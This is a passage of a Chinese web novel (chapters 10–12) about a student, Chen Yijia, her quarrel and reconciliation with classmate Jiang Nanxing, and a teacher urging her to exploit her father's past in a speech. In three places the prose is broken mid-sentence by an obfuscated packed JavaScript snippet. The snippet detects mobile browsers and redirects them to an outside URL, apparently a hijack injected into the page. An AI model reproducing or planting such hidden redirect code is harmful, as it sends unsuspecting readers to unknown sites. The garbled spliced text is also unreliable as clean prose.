“别在我这儿叨叨了。”这样的追问烦得陈亦佳几乎跑起来,她失控得跑起来,要发癫一样,迎着风鼻腔更酸痛,蒋南行没有发癫地跟她一起跑,而是被甩在后面,扯着嗓子问:“陈亦佳,你到底怎么了?刚刚不是还好好地要收作业?” 他的嗓门真的很大,不停地就有人看过来,好在距离教室很近,陈亦佳回去便往桌子上一趴,不一会儿就睡着了,过了一会儿醒来时,眼睛和手臂粘在一起。她一边揉着,一边仔细回想那些画面,想究竟是自己弄错了什么。 忽地,她又把周记本拿出来。 接近七点,晚自习又开始了,蒋南行支着肩膀在抽屉里玩手机,忽地眼前出现了一件白色的校服,蒋南行抬眼看人,从肚脐眼的位置挪到人的额头,蒋南行感觉自己的头还没仰多少,就看到了陈亦佳面无表情的脸。 蒋南行嘴唇动了动,严肃地有点忘了呼吸,“怎么了?” “把你周记本拿给我。”陈亦佳说。 “又要收了?”蒋南行把手机收起来,视线还留在陈亦佳身上,她伸手在抽屉里摸了一会儿,才掏出来一个很厚的牛皮纸本递给她。 陈亦佳垂着眼睛接过来,翻了几页,说:“你跟我出来一下。” 前桌的套娃朋友注意到,转过头问:“你怎么惹学霸了?” 蒋南行一脸莫名其妙,“我什么时候惹她了?” 套娃朋友说:“那刚刚人一边哭一边跑,你在后面穷追不舍的。” 将进行说:“你少放屁。” 珠沙夏天的风很大,在户外能把人吹干吹透,陈亦佳站在楼梯上,眯了眯眼等蒋南行走过去。 “你到底怎么了?”蒋南行装出几分不耐烦的样子,但其实对陈亦佳找她干嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136099|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几分好奇,“不会真是我惹你了吧?” 陈亦佳把本子递出去,蒋南行接过来,问:“又不要了?” 随即,一张便利贴就拍在他的本子上,陈亦佳问他:“这是你画的?” 楼梯间已经有点暗,蒋南行勉强能辨认出陈亦佳的表情,但辨认出便利贴上的很多笔画就有些困难,他仔细看了一会儿,才想起这是他花了一个晚上给陈亦佳的文章画的人设图。 “这怎么了?”蒋南行那天画完后还欣赏了很久,自以为非常完美,完全就是陈亦佳文章里的小蝴蝶,现在听着陈亦佳的语气,好像有多不满意似的。 “蒋南行。”陈亦佳问他,“你知道什么是边界感吗?你看别人的东西礼貌吗?” 蒋南行起初觉得她叫自己名字的声音糯糯的,尤其是那个“行”字发得特别好听,马上入耳的就是她的控诉,他提高声音辩解道:“陈亦佳你知道的吧?这是周记,这就是作文,这不是日记,你交上去邱宇不是也会看吗?你不给别人看为什么不上把锁?” “我写的是什么跟你有什么关系?我没说过你可以看就是不可以看。” “陈亦佳你这个人知道什么是公平吗?”蒋南行冷笑了一声,“你以为我不知道吗?之前王老师每次都把我的作文给你看,说让你学习,我说过什么了吗?我像你这么小气了吗?你看了我多少次,我就看了这么一次,谁占了便宜?” 陈亦佳顿了一下,忽地觉得急火攻心。 蒋南行听着她加深的呼吸声,使劲地把本子往陈亦佳身上一按,说:“你要是还觉得气不过,我给你看我的行吧?你一周写一篇,我一周写三四篇呢,这样够划算了吗?” 蒋南行不停地把本子往陈亦佳手里塞,陈亦佳没有接,笔记本“啪”的一声落在地上。 她无法接受蒋南行说的这种解决方式,他的逻辑也充满了强词夺理的意味,“你以为谁都跟你一样是花孔雀,写了点什么就巴不得全世界的人都来夸奖你。” 陈亦佳说话时咬着牙,她的颌角鼓起来一点,本来挺小的一张脸,想来攻击力也不是很强,但那样子好像随时要冲过来想把他咬死一样。 好像他真的多讨厌一样。 “不爱看拉倒,那你别看。”蒋南行的脾气也上来,直接回了教室。 接近上课时,邱宇来教室收手机,陈亦佳那时看他已经全然失去了滤镜,还生出一种厌烦的意味,那天晚上她就是想做点叛逆的事,于是在邱宇问陈亦佳手机时,说:“老师,我今天下午回家,忘在家里了。” 由于陈亦佳时最守规矩那个,邱宇没有丝毫怀疑地放过了她。那天晚自习放课,陈亦佳回宿舍掏出手机时,发现齐玉娜后面还给她发了消息,陈亦佳索性就回了,没想到那边的齐玉娜现在还拥有手机自由,秒回了她的消息。 陈亦佳那天很郁闷地跟齐玉娜分享了这件事,简化为老师帮助她,她买了蛋糕感谢,但是后面又不太想送的问题。 齐玉娜追问她为什么不想送,陈亦佳删删减减半天没发过去。 齐玉娜便追问她【你是春心萌动了吗小陈亦佳?】 【还巴斯克呢,你自己都舍不得买吧?】 陈亦佳看到这话时眼睛又一酸,她在被子里蹭了蹭眼角,又想起下午的感觉,觉得这种剜骨去毒地感觉充满了一种血淋淋的爽快。 见她久久不回消息,齐玉娜又宽慰了她一会儿说【佳宝,我不知道具体的情况,但是你们的关系本来就是不对等的,上位者给出一点暗示下面的人便会误解遭遇到优待,要是他是一个好老师,他就不会做让你误会的事。】 陈亦佳想了想,其实为什么会这么难过呢?因为她没有把邱宇放在一个老师的位置。陈亦佳觉得越稀缺的位置要求就越高,即使陶立芝那样辛苦地把她抚养长大,她还是会在心里挑剔陶立芝的不好,因为她真的对一百分的母亲有很大的期待。 她对邱宇的要求那么高,是不是把他放在一个更稀缺的位置上? 若是单论老师的话,邱宇还好,脾气温和,认真负责,学历也高。 她只要把邱宇放在老师的位置上便可以,她可以继续从他身上学知识,提分数。 她们又发了会儿消息,又互道晚安;陈亦佳正准备关机睡觉时,突然来了一条好友申请,头像是个动漫人物,头发像是拖把一样。 申请说明是:周记不看明天就还给我! 陈亦佳点了拒绝。 那边又很快发过来:【陈亦佳我就知道你没交手机!】 下一条是【明天没空看的话,要在这周末前还我知道吗?】 陈亦佳两条都点了拒绝,在心里叹了句:神经。 10. 第 10 章 第二天一早,陈亦佳开始收作业,蒋南行也凑过来帮忙,陈亦佳如今对去语文办公室一点积极性都没有,蒋南行来了,她就往座位上走。 蒋南行捞了把她的胳膊说:“昨天的事情还没有翻篇。” 陈亦佳很不解地看了他一眼,又挣了把,要往下面走,蒋南行薅不住,对着多媒体的麦克风就来了一句,“陈亦佳你干嘛?你不抱了?” 正在补眠的同学被他吵醒,抬眼一看老师没来,又接着往桌上一砸,沉沉睡去。 “不抱。” “你能不能有点责任心?爽了就抱,不爽了就全推给我。你这人真是无耻,共享单车不会就是你家开的吧?当初哄我交押金的态度呢?”蒋南行把陈亦佳的路堵住,陈亦佳转换了个方向,她的位置已经换到到靠墙,从同桌身后的一条小缝挤进去,埋着脑袋做题。那么小点儿地方蒋南行挤不进去,便从第一排弯腰吹她的头发,“别学了!” 后来的陈亦佳回忆起他和蒋南行的线性关系,他们之间最大张旗鼓的互动时期也是最纯洁的时期,蒋南行的高调常常会殃及到站在旁边的陈亦佳,她多次被迫框进有蒋南行的画面里,但那时没人觉得她们有什么。因为每个人都觉得比起陈亦佳,可能蒋南行对取得争吵的胜利更感兴趣一点,而更不巧的是,陈亦佳从始至终就及其讨厌聒噪的人。 蒋南行攻击了她一段,陈亦佳纹丝不动,摊着手心转来转去地找电流方向,拉锯片刻,刘老师拿着金教鞭走进来,一眼就看到蒋南行弯腰撅臀地骚扰好学生,当即大吼一声,“蒋南行!你在干什么呢?” “吼什么呢这么双标,陈亦佳不抱作业你怎么不说说她?” “这么几张纸你一个人抱不动?” 陈亦佳是一个蛮明事理的人,听到刘老师的话抬头看了一眼,正发现蒋南行的眼睛还在看着她,他压低声音说:“陈亦佳,生气也别生太久了,周记看完确实需要点时间,我可以再给你宽限点时间,你最晚周五要给我。” 陈亦佳本来心软地要主持公道,又被他自信的样子激得不想守公道,她把笔按下,“你为什么认为我就想看呢?” “之前都看过那么多次了。”蒋南行的一侧嘴角弯了一下,似乎仔细思考了会儿,偏头轻拍了下掌,“你哪次不是说腻害腻害腻害——而且,不想看你收起来干嘛?” 陈亦佳看他的眼神变得幽深,她想蒋南行一定是鼓励式的家庭长大的,人人都嫌他烦,但人人都爱他,导致即使说再重的话,他也感知不到严重性。 陈亦佳仰头看着他,很残忍地说:“我没有收,你放在哪儿就去哪儿拿吧,别来问我要。” 蒋南行一顿,自信的表情终于出现裂纹,他长久地看着陈亦佳,反问道:“开什么玩笑,没在你那儿能在哪儿?” 陈亦佳就是要把它理解成一个疑问句,“你扔的时候没想过这个问题?” 蒋南行说:“什么叫扔,我那是递给你。” 陈亦佳也不觑,坦荡地跟他对视回去,“我说过我要吗?” 蒋南行说:“就算你不要,你就看着我的本子被扔在地上?陈亦佳,人与人之间还有没有一点温情,有没有一点信任了,要不是你不高兴,我至于捧着本子要给你看?还真以为我那是没人看的东西。不过你还真是冷血无情。” 陈亦佳还补刀,“你有时间在这儿扯,还不如去查查监控,别晚了就进垃圾桶了。” 预备铃打响,刘老师挥舞着教鞭不停敲着机柜,抓住蒋南行开骂,“还商量不好?磨磨蹭蹭做什么?” “这不就走了吗?别敲你那破鞭子,跟杀驴似的,难听死了!” 消停不到一天,那天晚上陈亦佳的手机又弹出了蒋南行的好友申请:【陈亦佳在你那儿对不对?】 【我问过了,那天没人捡到一本二十公分厚的香樟树纹理的B5软牛皮笔记本。】 深夜了,陈亦佳不自控地笑出一阵气声,心里叹了一声“服了”,随后关上了手机。 周五即将到来,陈亦佳提前完成这周的所有学习计划,周六又是写周记的时间,再不把周记本还给蒋南行有点过分,陈亦佳把占了半个抽屉的二十公分厚的香樟树纹理的B5软牛皮笔记本往里挪了挪,打算找个时间放到蒋南行的桌子上,她把挤在最里面的浅蓝色棋盘格的笔记本掏出来,翻开,很快又看到了那只粉色的、毛茸茸的蝴蝶。 能看得出来,那幅作品花了很多的精力,很符合陈亦佳的想象,但是又比陈亦佳想象的死气沉沉的蝴蝶更鲜活。 必须得承认,这已经可以算作一个艺术品。 她又开始反刍,觉得为什么会生气呢? 她生气并不是作文被人看了,她很理性地分析,单论数量来看,的确是她占了蒋南行的便宜,她借着学习的名义看过蒋南行的很多优秀作文。还是她把对邱宇的气撒在了蒋南行的身上?也不完全是这样,梳理好对邱宇的看法后,对邱宇本人都没有多少气了。 而且,并不是所有的东西都能这样对等清算的,陈亦佳并不想自己脑子里的东西被别人看见,在这方面,蒋南行好像大方得像个富翁,而她抠搜得像个乞丐。 陈亦佳又抽丝剥茧地想:为什么不愿意被别人看到呢?终极原因是怕自己脑子宏大的、神圣的东西没有经过良好的转述,出来就变成了简陋的、苍白的东西,会遭到嘲笑。但其实作为读者的蒋南行并没有嘲笑,甚至对她的作品进行了二创。 这样想来,那些担忧又都逐渐消失,取而代之的只剩下了一种羞耻感。 为了对冲这种羞耻感,她竟真的翻起蒋南行的周记本。 邱宇要求写周记也不过是这学期的事,蒋南行的二十厘米厚的本子已经写过了一大半,翻开看,里面的内容竟然更令人震惊。这位高三学生竟然在笔记本上以一周两到三篇的速度连载起了小说。 那是一个以珠沙为背景的略带历史感的小说,一支少数部落流落到珠沙,过起了离群索居的生活,构建起堪称“世外桃源”的世界。这个世界有自己的秩序,有不同的社会分工和奖惩制度。由于珠沙是个流沙城市,入口隐蔽,鲜少和外人沟通,偶然的契机,竟有个外来者闯入。外来者进入世外桃源,犹如从三维世界进入平面国,他能轻易总结出世外桃源的运行法则,社会控制,于当地来人来说,努力和信仰成了一种虚无,秩序逐渐崩坏,运行出现故障;而对于闯入者来说,过于先进的理论和观点于当地人来说成了妖言惑众,他需要在排外的社会中尽量保存生命。 每一章节大概有一千多字,每一篇的最后,都有一行苍劲的大字“欲知后事如何,且听下回再摆”,有些篇幅后面甚至还标注了参考文献。 陈亦佳的手指放在那些字迹上,指腹具有敏感的神经末梢,能够触摸出不同字迹被烙到纸上时的力度。 她想起来自己的脑海里还存着一些关于大套娃的故事。刚升入高中那一年,陈亦佳因为入口成绩排第一,被刘老师点名为班长,她那时人还认不全,又过分沉迷于学习,任职起来是有点困难的。 那时学校还偏偏搞了个什么活动,在文理分科后为了帮助学生们树立职业选择观念,在分班后第一学期就把各班带到多媒体教室填了一张问卷,基本上都是选择题,大概就是通过问你喜欢哪个学科、喜欢哪个学科的部分来为个人制定一份职业生涯的指导意见。 陈亦佳填的都是物理、喜欢物理的天体运行之类的,生物里面也选了几个感兴趣的方向。 几天后,陈亦佳班长被指派到资料室拿他们班级的资料,看到其他班长已经坐成一排整理报告。班长们为了提高效率,先把资料分成文科班理科班的,随后再进行小规模地再分。 陈亦佳忙了几个课间,领回自己班级的报告,还没有认清楚人,她清点晚资料后发现少了一份,回去资料室时发现已经搬空了。 她回到教室艰难地把资料发了,站在讲台上,捏着话筒有点小声地问:“还有谁没拿到资料。” 讲话的讲话,睡觉的睡觉,喧哗的喧哗,没人回答她。 陈亦佳的同桌是个有点胖的女孩儿,从高一一开学就跟陈亦佳商量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136100|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要坐在她旁边感受学霸气息,她随意扫了眼,问:“有人没拿到?” “我数了是少了一份,但是没人回答我。”陈亦佳摸了摸下巴,“应该是我没拿回来。” 同桌把生成的报告翻折两遍,“算了吧,没人真的在意这个,你以为这个真能提供什么职业指导啊?” 陈亦佳想了一下,还是败给了内心的责任感,她在黑板很靠下的位置下面划了个小小的地盘,写着:谁没领到报告,请联系陈亦佳。 随后就跑了出去,那天每堂课下课铃一响,就跑到其他班级问班长:“你们班有没有多出来的报告?” 她是在五楼的第二十个文科班找到的,那时也是像现在一样炎热的夏天,陈亦佳的脸上跑出了汗水,二十班的班长把报告递给她时,陈亦佳终于松了一口气,她只是瞟了一眼,第一道题:请你按喜欢的程度依此给以下六个综合科目排序。 那人的答案是历史,历史,历史,历史,历史,历史。 她拿着报告跑回教室,听到有人在叫她。 有个高个子男生从对面跑过来,她大概能猜到他为什么来的,一时间既找到了失物又找到了失主,陈亦佳大松一口气,感到额头上的汗水又湿又粘,而对面跑来的男生挤压着气流,带来一股清爽的风。 “陈亦佳。”男生在她前面停住,垂眼看她手里的报告,问,“你找到了?” “嗯。”陈亦佳点点头,“是你的吗?” 她把报告递出去时扫了一眼背面的名字,是有个“行”字,眼前的男生长得高大结实,的确是很能走路的样子。 男生刚把报告接过去,上课铃声又响了,陈亦佳赶着上课,转头往教室跑,把很能走路的男生甩在身后。 那天她跑了很多层楼,花了很多时间,大腿都有点抽筋了。同时也意识到自己并的天赋和意愿都不包含成为一个合格的班干部,是双向不选择。 于是便跟刘老师反应了这个情况,看着优秀学生又小声又有条理的话说明自己的想法,刘老师其实很难拒绝。 那之后,陈亦佳不再为官,学习占据太多时间,又过于沉浸在自己的世界,导致她到现在都跟班上的很多同学都不熟。 甚至有过这样接触的蒋南行在她眼里也只是一只男高中生套娃。 ------------------------------------- 陈亦佳决定亲自把笔记本还给蒋南行,她甚至连借口都没有准备,能预料到蒋南行会怎么样大惊小怪冷嘲热讽地说“果然是你拿的。” 但偏偏那天蒋南行很晚都没回教室,陈亦佳练完听力摘了耳机,目光在教室里扫过一圈,还是没看到他。 不会去翻垃圾桶了吧?要是查了监控就应该知道是心软的陈亦佳给他捡起来了啊。 陈亦佳拿着笔记本,往走廊上碰碰运气,可能是老大不在,那天的套娃团没有打堆,陈亦佳占据了那个位置,她把笔记本拿在肚子和阳台瓷砖前面那一块小小的空间里,放眼望着楼外的世界。 从楼外看楼里,就好像在看一个过去的空间,是灰败的,二维的;而从楼里看楼外,世界则是多彩明亮的、流动的,广阔的。 陈亦佳想:如果她长期像套娃们一样靠着栏杆看窗外,是不是也会迷恋上这种舒服,不愿意回到二维的世界? 这时,进校门那条路的停车区开进来一辆很长的,有点五彩斑斓的黑色的汽车,陈亦佳看到那车停下,背着大包的蒋南行拉开后座车门下来,前座也下来个人,他穿得很整齐,是在陈亦佳的认知中,把西装革履具象化的人。 他们说了一会儿话,蒋南行便往教学楼这边走,黑色的车又开走了。 陈亦佳记得那个人,以前拿奖学金的时候,看到过他来送蒋良达;这个时候,陈亦佳又会意识到蒋南行是蒋良达的外孙,物理意义的家里有银行。 确实是不需要陈亦佳到处给他找职业生涯规划指导的。 陈亦佳捕捉到一丝无趣,她把笔记本塞进了蒋南行塞满礼物的抽屉里。 11. 第 11 章 陈亦佳那天也不知道蒋南行是什么时候来的,跑完夜操从教室后面经过时才看到蒋南行,很大一个个子趴在座位上,睡得天昏地暗,外套挂在椅背上,桌椅的周围摆满了包装精致的礼物。 后续的事情她没有留意,但那天刘老师批评了几次,阴阳说:“有些同学,白天是孔雀开屏,晚上是鸵鸟钻沙”,他还推了把蒋南行,“年轻就是好啊,倒头就睡。” 蒋南行不耐烦地挥开他的手,抽空说了句:“补充硅藻泥明早开屏用。”又一头扑在手臂上睡过去了。 刘老师左手搓右手,像是沾到脏东西一样,“都喷这么多发胶了,还补充硅藻泥呢。” 班级里又响起一阵笑声,刘老师看叫不动他也就不说话了。 时间过得很快,转眼间就到了十一点,最后一节晚自习,陈亦佳准备离开时教室已经静悄悄的,她通常走得最晚,打算去关灯时,有人叫了她一声,伴随着一阵椅子拖动的声音。 “陈亦佳。” 教室的灯光已经很昏暗了,周围的课桌挨挨挤挤的,蒋南行走过来在他的眼前放大,他披着校服外套,头发被固定在脑后,显得额头很明媚,之前那副睡不醒的倦怠一扫而空,眼神清亮。 陈亦佳怀疑自己已经学到头昏脑胀不清醒了,不然怎么会在蒋南行身上闻到鲜活的春风的味道;她暂停关剩下一半的灯,站在原地,有点迟钝地回答:“怎么了?” 蒋南行手里松松地拎着一个蓝色的盒子,递给她。 陈亦佳没接,有点懵。 蒋南行说:“当道歉礼物。” 陈亦佳抬头看着他,“道什么歉?” “周记本那事儿啊。”蒋南行说得理所当然,见她不接,干脆把盒子放在窗台上,“我这两天回忆了一下,你这个人是超能坚持的,我记得你刚分班的时候物理还考过五十九,后面好像能考一百一了。”蒋南行边说边拆开包装,里面是一个印着梧桐树底下那家甜品店的标志的浅蓝色盒子,“我就觉得要是你用这个行动力报复我,我可能一辈子都见不到我的周记本了。但是——诶,我今天发现它自己回来了。” 陈亦佳看到那家店的标志时就咽下了拒绝的话,可能是齐玉娜说的“你都舍不得给自己买”,或者是对于她浪费掉的200块耿耿于怀,她就是很想尝尝那个蛋糕的味道,蒋南行伸手拆蛋糕盒子,他买的不是一角,而是一整个,他的手在灯光下犹如笼罩在一层朦胧的滤镜中,手指修长,骨节突起,拆丝带、开盒盖的动作算不上得轻柔,随性又流畅。手指握着塑料刀柄,手腕一压一旋,那块精致的、柔软的蛋糕就被利落地破开、托起,稳稳递到陈亦佳面前,“给。” 陈亦佳接过来,用小勺挖了点蛋糕送进嘴里。细腻又酸甜的口味,“我学东西是比较慢。” 蒋南行反应了一会儿,才知道她在说什么,随即笑出了声音,“那语文应该也是这样,厚积积积积积积薄发。” 陈亦佳听出了嘲弄,但没有反驳,甚至被这个话题引出了一些苦恼,抿着唇没接话,默默又吃了一口蛋糕。她有点忧伤地抬眼看窗户,外面的灯光已经暗下来,教室的窗户像一面镜子,反射出她和蒋南行的样子。身边的人比她高出很长一截,蒋南行一手捏住叉子,漫不经心地搅着奶油,一手滑着手机,鞋尖抵在桌腿上,轻轻地一蹭一蹭的。在和陶立芝相依为命的日子里,陈亦佳偶尔会幻想自己是一个男孩儿,高大强壮的,现在看着蒋南行的样子,她觉得自己要是性转了就希望拥有蒋南行的硬件。 蒋南行似乎回完了消息,转过头来,问:“好吃吗?” 很黏很糊,但是别人请客,陈亦佳一时没说话。 蒋南行也从镜子里看她的表情,“是不是挺一般的,巴斯克就是傻瓜蛋糕,没什么技术难度,原料好就好吃,你现在吃着不好吃,就是用的材料不好呗。” 陈亦佳转头有点吃惊地看着他。 蒋南行补充道:“我们家阿姨说的。” 陈亦佳没有说话,又舀起来一勺送进嘴里,蒋南行声音很低地说:“至于因为这个哭嘛?” 陈亦佳说:“我没有因为这个哭。” “那你那天在干嘛?” 陈亦佳装作没有听到。 忽然,“叩、叩、叩”几声,教室窗户被用力敲响。两人同时抬头。窗外挤着好几张陌生的年轻面孔,有男有女,打扮神情都与寂静的教学楼格格不入。领头的是崔俊恒,正咧着嘴巴冲里面做口型,“蒋狗,走不走?” “你说话注意点儿,什么蒋狗?”一个穿着短袖毛衣的女生扒在门口喊道:“把妹王,崔狗等你好久了。” 蒋南行皱眉问了句:“催什么?” 女生笑着说:“崔狗。” 崔俊恒“靠”了一声,“你才说话注意点儿,你好好睁大狗眼看看那是谁?这种学霸告起状来,那帮老头子连遗言都不让你说的。”他说完敲了敲窗户,意味催促,一群人又离开了。 陈亦佳看他们的状态,礼貌地闲聊道:“你还有活动吗?” 蒋南行“嗯”了声,又按了几下手机。 陈亦佳其实发现了,但是不知道该不该说,可能是蒋南行屈腿蹭桌脚的动作慵懒又放松,陈亦佳问道:“你今天生日?” 蒋南行抬起头来看她,很怕陈亦佳再把自恋的帽子扣在他头上,“可不是我自己追着告诉你的哈,你自己问的。” 陈亦佳问:“十八岁?” 蒋南行“嗯”了声,嘴角咧了一下,陈亦佳从那个表情品出了点少年人初次踏入成年世界那种跃跃欲试,连带着蒋南行的外形和肢体语言,很难否认的确有种意气风发的感觉。 陈亦佳说:“生日快乐。” 蒋南行收起手机,又冲她笑了一下,问道:“你到十八了吗?” 陈亦佳说:“到了,上个月。” 她随即发现蒋南行从上到下地看了她一眼,随后,他的手机又震动起来,陈亦佳说:“你的朋友们在催你了,等下巡逻老师也要来了。” “晚上还有巡逻老师?长知识了,那我得溜了。”蒋南行一边说话,一边拎着书包大步走向后门,融入窗外那片隐约的嬉笑和活力中,“蛋糕你处理了啊。” 教室里骤然安静下来,只剩下陈亦佳一个人,对着桌上打开的半盒蛋糕。甜腻的香气变得突兀,陈亦佳觉得好像尝试是终止想象的最佳方式,那的确是种很华而不实的东西。她把剩下大半个蛋糕拎回宿舍,宿舍楼的最里面有一个生活区,有冰箱和餐桌,大家经常把酸奶冰淇淋什么的放在那儿,由于区域是公用的,经常有人把东西放在那儿分享,后来就默认放在生活区又没有署名的都是可以拿的。她把蛋糕盒子往冰箱里塞时,发现了一场卡片,上面是蒋南行飞扬跋扈的字迹: 【Sorry哦,小毛刷和小蝴蝶都很可爱。】 什么小毛刷? 陈亦佳把卡片拿走了。 ------------------------------------- 每年雅达企业会向学校的优秀学生捐助一笔不菲的资金,作为对优秀学子得帮助和鼓励。这种企业的资助人数和具体金额数目一般都是由出资方自己定的,即是对社会的回馈,也是对企业的宣传。 而作为珠沙高中蝉联第一的陈亦佳其实每年都拿了不少钱。 据说,这是蒋良达从年轻时就和爱妻一起成立的公益项目,他的妻子去世后,他个人也坚持着长期向各个学校捐款。 珠沙高中会组织获奖者给蒋良达写一封感谢信。这是陈亦佳最熟悉的,固定的,大家都写的是写网络上常用的句式,一般也没人看。 今年有些不一样的就是,邱宇把陈亦佳叫道办公室单独谈了这件事。 他说今年会有良达企业的负责人到场参会,他希望陈亦佳可以作为代表人物出来念自己的感谢信。 “啊?我去啊?我不是很会演讲。”陈亦佳愣了一下,以往也有这种时候,但由于陈亦佳其实不是一个很能拿得出手的学霸,这种在大场合发言的机会一般轮不到她。 她没想到邱宇会叫她。 但是邱宇说:“你最近的写作进步了不少,回去好好写写稿子,记住我们写作文的要义:真情实感。而且不会演讲怕什么,就是因为不会才要多练。” 陈亦佳觉得他说得很有道理,领了命令, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136101|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去打磨她的稿子了,她回忆起前两年别的同学写的稿子,在陈亦佳的印象里,别人念的也是网络上随意摘抄的。 陈亦佳不知道怎么真情实感,抠掉了不少头发,她修修改改地拿着稿子去找邱宇,邱宇一读便皱起眉头,“你不用参考之前的,之前的都是他们照着抄的。” 邱宇看着陈亦佳的眼睛瞪大了些,接着说道:“你不是已经学会怎样真情实感地写文章了吗?就照着你的感觉写。” 陈亦佳还垂着脑袋,看起来很平静,邱宇想,要不是他知道这个学生次次考第一的话,绝对不会想到她是个聪明人,他怕她领会不到意思,继续点播道:“亦佳,你想想,用你的真实感情去写,为什么你会觉得需要感谢别人?为什么这个帮助对你来说是重要的?老师知道,现在网络上有很多感谢的辞藻,跟你交过来的这份差不多,但是别人都这样,不代表我们也要这样;以前次次都这样,不代表这次也要这样。” 陈亦佳看了邱宇一眼,又一次觉得他说得是对的。 于是陈亦佳又把信笺纸拿了回去,他认真地想自己为什么需要帮助,为什么想要真挚地感谢别人:她写到教育是大众获取认知的第一步,学会知识让大家掌握生产资料,积累经验发展科技。教育让人明理,开始思考自己的人生意义,懂得让自己成为人生的第一负责人,不再盲目地陷入从生到死的循环。 她写道她很感谢现在掌握生产资料的人愿意分出一部分,让他们获得更多能握在手里的力量,能接触更多觉醒的机会。 陈亦佳拿着一份自己逻辑严密的文章去找邱宇,邱宇看了一遍,叹完气又笑着跟她说:“我看到这个真是眼前一黑,梦回本科时候的背的马哲了,这个道理的确是无懈可击的,但是,课代表同学,没人愿意听你摆这些人人都知道的道理的,你需要写感情,所有的世俗道理最终都需要落实到人文,落到个人的身上,我们可以写时代下的小人物的命运。要知道,人物的命运和经历比所有华丽的辞藻和缜密的逻辑都具有说服力,如果不会的话,你再结合自己的经历想想?” 陈亦佳把稿子夹在练习册里带了回去,她回想着邱宇的话,落实到个人的身上,是什么样的故事? 陈亦佳为什么需要帮助? 因为陈亦佳其实出身在一个没什么钱的家庭,因为她的母亲只能挣到四千块钱,还要时不时地拿她的微薄工资去做那些人情世故?因为陈亦佳的父亲其实很早就跟她母亲离婚了,除了当年留下来的房子,他其实没有再给陈亦佳留下什么经济后盾。 陈亦佳忽地感到一阵恶寒,她不知道是不是自己推测错了,为什么顺着邱宇的引导会走到这个方向。 她抱着原封不动的稿子去找邱宇,一个字都没有改,邱宇却说道:“是比上一稿好一些了,但是陈亦佳同学,还是没有达到我的要求。” 陈亦佳心里一片冰凉,“老师,您的要求是什么样的?” 邱宇让她坐在对面,弓着腰跟她说:“我们说的要落到个人的身上是什么意思?陈亦佳同学,你要结合你的实际情况写,写你为什么需要帮助,真实的才是感人的,对不对?” 陈亦佳眼也不眨地看着他,没有给出任何回应,只是等待他的后文。 邱宇索性直接说到:“课代表同学,你父亲当年的样子就是一个很好的例子啊,我听说当年还上了本地新闻的,要不要写上去,这篇文章一定能创造很惊人的效果。” 陈亦佳像是没有听到他说话一样,眼珠子转得很慢,邱宇需要停下来,关注一下她有没有走神。 “你知道今年三月份的国家级作文竞赛吗?”邱宇低下头,很耐心地说,“课代表同学,你把这篇写出来投出去试试。我本来就是想推荐你参加的。你想想你父亲当年的事情,有足够的社会讨论度,从你这个当事人的口中讲出来,肯定更加真切感染。” 邱宇见她没反应,又循循善诱地说,“课代表同学,你要有信心,老师会帮你的。” 陈亦佳猛地从抽离的状态中抬起头来,她的眼睛里布满了红血丝,下颌角咬得鼓起来。 邱宇觉得,这个向来木讷的陈亦佳好像立即就要给他一巴掌一样。 12. 第 12 章 陈亦佳还记得自己人生中的第一桶金。那时她还在珠沙的星辰镇念小学一年级,人生里没有奖学金这个概念,有天,她懵懂地被老师叫上台,跟人鞠躬,后面又和一个穿着西装的姐姐合影,那个姐姐递给她一个蓝白信封和一个巨大的球星玩具,从透明的盒子上可以看到上面附着着光光点点的闪烁物。 陈亦佳停了一会,等那个长发的姐姐笑着把东西再往前塞了塞,确定这的确是给她的,才伸手接过来;随后便是按照别人的指示,捧着照片拍照,面对着摄像头时,她听到下面的同学看着她的奖品,传来一阵“哇”的惊呼。 对于从小没怎么拥有过玩具的陈亦佳来说,她也第一时间被那个玩具吸引了,但是拍照等人发言的那十几分钟里,她忍着没有看一眼。 等到拆开后,她才发现那不是个玩具,而是个巨大的棒棒糖,她又把把信封拆开,发现里面有二百块钱。 陈亦佳才八岁,没有小心地把钱塞进书包里,抱着书包回去,在文具店前看到执勤的余文峰叔叔,那人捏着陈亦佳的脸左右晃了两下,笑得眯着眼睛,“真德行啊,你还能给你爸挣两百块钱呢。” 陈亦佳一愣,她藏得小心翼翼,不知道为什么在校外巡逻的余文峰都知道了。 余文峰夹着她的腋下把她抱起来坐在自己的手臂上,塞了一颗草莓进陈亦佳嘴里,说:“走,我带你找你爸去。” 余文峰带着她穿过两条街,在那儿找到执勤的陈池,陈池长得很显小,穿着协警的黑色制服,显得很白净。 余文峰离得很远就冲他说:“你家这丫头跟你一样特能读书。” 